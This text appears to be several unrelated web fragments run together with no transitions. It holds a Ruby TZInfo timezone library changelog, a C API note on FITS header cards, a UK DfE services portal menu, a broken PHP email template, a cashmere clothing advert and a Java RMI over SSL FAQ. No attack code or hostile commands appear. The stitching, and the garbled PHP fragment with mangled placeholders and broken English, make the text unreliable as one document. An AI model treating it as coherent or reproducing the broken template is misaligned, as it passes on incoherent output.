Support loading timezone data in Ruby 1.9.0. Use DateTime.new! if it is available instead of DateTime.new0 when constructing transition times. DateTime.new! was added in Ruby 1.8.6. DateTime.new0 was removed in Ruby 1.9.0. Thanks to Joshua Peek for reporting this. Closes #17606.
Modify some of the equality test cases to cope with the differences between Ruby 1.8.6 and Ruby 1.9.0.
Updated to tzdata version 2008a (article.gmane.org/gmane.comp.time.tz/2071).
Updated to tzdata version 2007k (article.gmane.org/gmane.comp.time.tz/2029).
Removed deprecated RubyGems autorequire option.
Updated to tzdata version 2007h (article.gmane.org/gmane.comp.time.tz/1878).
Updated to tzdata version 2007g (article.gmane.org/gmane.comp.time.tz/1810).
Updated to tzdata version 2006p (article.gmane.org/gmane.comp.time.tz/1358).
Updated to tzdata version 2006n (article.gmane.org/gmane.comp.time.tz/1288). Note that this release of tzdata removes the country Serbia and Montenegro (CS) and replaces it with separate Serbia (RS) and Montenegro (ME) entries.
Remove colon from case statements to avoid warning in Ruby 1.8.5. #5198.
Use temporary variable to avoid dynamic string warning from rdoc.
Updated to tzdata version 2006j (article.gmane.org/gmane.comp.time.tz/1175).
New timezone data format. Timezone data now occupies less space on disk and takes less memory once loaded. #4142, #4144.
Timezone data is defined in modules rather than classes. Timezone instances returned by Timezone.get are no longer instances of data classes, but are instead instances of new DataTimezone and LinkedTimezone classes.
Timezone instances can now be used with Marshal.dump and Marshal.load. #4240.
Added a Timezone.get_proxy method that returns a TimezoneProxy object for a given identifier.
Country index data is now defined in a single module that is independent of the Country class implementation.
Country instances can now be used with Marshal.dump and Marshal.load. #4240.
Country has a new zone_info method that returns CountryTimezone objects containing additional information (latitude, longitude and a description) relating to each Timezone. #4140.
Timezones within a Country are now returned in an order that makes geographic sense.
The zdumptest utility now checks local to utc conversions in addition to utc to local conversions.
eql? method defined on Country and Timezone that is equivalent to ==.
The == method of Timezone no longer raises an exception when passed an object with no identifier method.
The == method of Country no longer raises an exception when passed an object with no code method.
hash method defined on Country that returns the hash of the code.
hash method defined on Timezone that returns the hash of the identifier.
Miscellaneous API documentation corrections and improvements.
Timezone definition and indexes are now excluded from rdoc (the contents were previously ignored with #:nodoc: anyway).
Removed no longer needed #:nodoc: directives from timezone data files (which are now excluded from the rdoc build).
Installation of the gem now causes rdoc API documentation to be generated. #4905.
When optimizing transitions to generate zone definitions, check the UTC and standard offsets separately rather than just the total offset to UTC. Fixes an incorrect abbreviation issue with Europe/London, Europe/Dublin and Pacific/Auckland.
Eliminated unnecessary .nil? calls to give a minor performance gain.
Timezone.all and Timezone.all_identifiers now return all the Timezones/identifiers rather than just those associated with countries. #4146.
Added all_data_zones, all_data_zone_identifiers, all_linked_zones and all_linked_zone_identifiers class methods to Timezone.
Added a strftime method to Timezone that converts a time in UTC to local time and then returns it formatted. %Z is replaced with the Timezone abbreviation for the given time (for example, EST or EDT). #4143.
Fix escaping of quotes in TZDataParser. This affected country names and descriptions of timezones within countries.
Use class-scoped instance variables to store the Timezone identifier and singleton instance. Loading a linked zone no longer causes the parent zone's identifier to be changed. The instance method of a linked zone class also now returns an instance of the linked zone class rather than the parent class. #4502.
The zdumptest utility now compares the TZInfo zone identifier with the zdump zone identifier.
The zdumptestall utility now exits if not supplied with enough parameters.
Updated to tzdata version 2006g (article.gmane.org/gmane.comp.time.tz/1008).
Fix a performance issue caused in 0.2.0 with Timezone.local_to_utc. Conversions performed on TimeOrDateTime instances passed to <=> are now cached as originally intended. Thanks to Michael Smedberg for spotting this.
Fix a performance issue with the local_to_utc period search algorithm originally implemented in 0.1.0. The condition that was supposed to cause the search to terminate when enough periods had been found was only being evaluated in a small subset of cases. Thanks to Michael Smedberg and Jamis Buck for reporting this.
Added abbreviation as an alias for TimezonePeriod.zone_identifier.
Updated to tzdata version 2006d (article.gmane.org/gmane.comp.time.tz/936).
Ignore any offset in DateTimes passed in (as is already done for Times). All of the following now refer to the same UTC time (15:40 on 17 April 2006). Previously, the DateTime in the second line would have been interpreted as 20:40.
tz.utc_to_local(DateTime.new(2006, 4, 17, 15, 40, 0)) tz.utc_to_local(DateTime.new(2006, 4, 17, 15, 40, 0).new_offset(Rational(5, 24))) tz.utc_to_local(Time.utc(2006, 4, 17, 15, 40, 0)) tz.utc_to_local(Time.local(2006, 4, 17, 15, 40, 0))
Use timestamps rather than DateTime objects in zone files for times between 1970 and 2037 (the range of Time).
Don't convert passed in Time objects to DateTime in most cases (provides a substantial performance improvement).
Allow integer timestamps (time in seconds since 1970-1-1) to be used as well as Time and DateTime objects in all public methods that take times as parameters.
Tool to compare TZInfo conversions with output from zdump.
TZDataParser zone generation algorithm rewritten. Now based on the zic code. TZInfo is now 100% compatible with zic/zdump output.
Riyadh Solar Time zones now included again (generation time has been reduced with TZDataParser changes).
Use binary mode when writing zone and country files to get Unix (n) new lines.
Omit unnecessary quotes in zone identifier symbols.
Omit the final transition to DST if there is a prior transition in the last year processed to standard time.
Updated to tzdata version 2006c (article.gmane.org/gmane.comp.time.tz/920).
Add lib directory to the load path when tzinfo is required. Makes it easier to use tzinfo gem when unpacked to vendor directory in rails.
Updated to tzdata version 2006a (article.gmane.org/gmane.comp.time.tz/738).
build_tz_classes rake task now handles running svn add and svn delete as new timezones and countries are added and old ones are removed.
Return a better error when attempting to use a Timezone instance that was constructed with Timezone.new(nil). This will occur when using Rails' composed_of. When the timezone identifier in the database is null, attempting to use the Timezone will now result in an UnknownTimezone exception rather than a NameError.
Timezones that are defined by a single unbounded period (e.g. UTC) now work again.
Updated to tzdata version 2005q.
period_for_local and local_to_utc now allow resolution of ambiguous times (e.g. when switching from daylight savings to standard time). The behaviour of these methods when faced with an ambiguous local time has now changed. If you are using these methods you should check the documentation. Thanks to Cliff Matthews for suggesting this change.
Added require 'date' to timezone.rb (date isn't loaded by default in all environments).
Use rake to build packages and documentation.
License file is now included in gem distribution.
Dates in definitions stored as Astronomical Julian Day numbers rather than as civil dates (improves performance creating DateTime instances).
Added options to TZDataParser to allow generation of specific zones and countries.
Moved TimezonePeriod class to timezone_period.rb.
New TimezonePeriodList class to store TimezonePeriods for a timezone and perform searches for periods.
Timezones now defined using blocks. TimezonePeriods are only instantiated when they are needed. Thanks to Jamis Buck for the suggestion.
Add options to TZDataParser to allow exclusion of specific zones and countries.
Exclude the Riyadh Solar Time zones. The rules are only for 1987 to 1989 and take a long time to generate and process. Riyadh Solar Time is no longer observed.
The last TimezonePeriod for each Timezone is now written out with an unbounded rather than arbitrary end time.
Construct the Rational offset in TimezonePeriod once when the TimezonePeriod is constructed rather than each time it is needed.
Timezone and Country now keep a cache of loaded instances to avoid running require which can be slow on some platforms.
Updated to tzdata version 2005n.
Removed debug output accidentally included in the previous release.
Fixed a bug in the generation of friendly zone identifiers (was inserting apostrophes into UTC, GMT, etc).
Fixed Country <=> operator (was comparing non-existent attribute)
Fixed Timezone.period_for_local error when period not found.
Added testcases for Timezone, TimezoneProxy, TimezonePeriod, Country and some selected timezones.
Reduced visibility of some methods added in Timezone#setup and Country#setup.
Added name method to Timezone (returns the identifier).
Added friendly_identifier method to Timezone. Returns a more friendly version of the identifier.
Added to_s method to Timezone. Returns the friendly identifier.
Added == and <=> operators to Timezone (compares identifiers).
Timezone now includes Comparable.
Added to_s method to Country.
Added == and <=> operators to Country (compares ISO 3166 country codes).
Country now includes Comparable.
New TimezoneProxy class that behaves the same as a Timezone but doesn't actually load in its definition until it is actually required.
Modified Timezone and Country methods that return Timezones to return TimezoneProxy instances instead. This makes these methods much quicker.
In Ruby on Rails, you can now show a drop-down list of all timezones using the Rails time_zone_select helper method:
<%= time_zone_select 'user', 'time_zone', TZInfo::Timezone.all.sort, :model => TZInfo::Timezone %>
Country and Timezone data is now loaded into class rather than instance variables. This makes Timezone links more efficient and saves memory if creating specific Timezone and Country classes directly.
TimezonePeriod zone_identifier is now defined as a symbol to save memory (was previously a string).
TimezonePeriod zone_identifiers that were previously '' are now :Unknown.
Timezones and Countries can now be returned using Timezone.new(identifier) and Country.new(identifier). When passed an identifier, the new method calls get to return an instance of the specified timezone or country.
Added new class methods to Timezone to return sets of zones and identifiers.
Thanks to Scott Barron of Lunchbox Software for the suggestions in his article about using TZInfo with Rails (lunchroom.lunchboxsoftware.com/pages/tzinfo_rails)
First release.


426: int addFitsCard(Hdr *, char *card); 427: FitsKw insertFitsCard(FitsKw, char *card);
These functions take an already formatted FITS "card" and either adds the string to the list or inserts it after the current position. If the string is less than 80 bytes it is padded with spaces to 80 bytes. If the string is more than 80 bytes it is truncated.


Account home
User Name
Manage Trust and Academies for RDD users
Academy Changes
A service to help DfE colleagues manage significant changes to academies.
Academy Conversions
A service to help DfE colleagues manage local authority maintained schools convert to academies.
Academy Transfers
A service to help DfE colleagues manage academies transferring from one trust to another trust.
Area of services for AMSD and RDD users
Concerns casework
A case management system for monitoring, managing and raising concerns.
Next service
Here is a space to write a short description of what the link will reveal to the user.
Area of interest to all who have access to the SDD built services
SDD Sharepoint
Here is a sharepoint website with all the relevant information a user of our servies needs.


On = $sitename ?> you was proposed for services
from = $inviter->vorname ?> = $inviter->name ?> .
To approve or cancel please click here:
Following service requests are still to answer:
You alreay confirmed the following services:
For you don't yet having access to = $sitename ?> you will get a separate email with login information.


INTRODUCING THE SPRING CASHMERE SHOP
Sorbet brights. Heathered neons. Soft Italian yarns.
SEE THE CASHMERE COLLECTION >
PALETTE PERFECTION
Our designers scour the globe for color inspiration, then work hand in hand with a sixth-generation family-owned mill in Italy to create a cashmere palette that’s totally one of a kind.
READ OUR COLOR STORY >
LIGHT AS A FEATHER
“Our featherweight cashmere is made from 14-gauge yarn, which means the yarn is much finer. That’s what gives it such an incredibly soft, supple feel.”


Using Java RMI with SSL
Many have asked how a Java Remote Method Invocation (Java
RMI) application can make remote invocations over secure SSL
connections. Below are some questions and answers about using Java
RMI with SSL.
Q1: Is it possible to use Java RMI with SSL?
- A1: Yes, it is possible, with the use of custom socket
factories. An application can export a remote object to use custom
socket factories that create sockets of a desired type (for
example, SSL sockets). Using this technique, an application can use
SSL socket communication instead of the default socket
communication. For further details on using custom socket
factories, see the tutorial: Using Custom
Socket Factories with Java RMI.
Q2: Where can I find a pure Java programming language
implementation of SSL?
- A2: The JDK includes the Java Secure Socket Extension (JSSE)
API which provides an implementation of SSL sockets. See the
JSSE Reference
Guide for more detailed information on the features and
benefits of JSSE.
Q3: Where can I find an example using Java RMI with SSL?
- A3: There is an example bundled with the JSSE code examples
that illustrates how to use SSL-based connections for calls to a
remote object. This is achieved by exporting a remote object to use
custom socket factories that create SSL sockets. The JDK provides some standard SSL-based custom
socket factory classes; see the
javax.rmi.ssl
package for more details.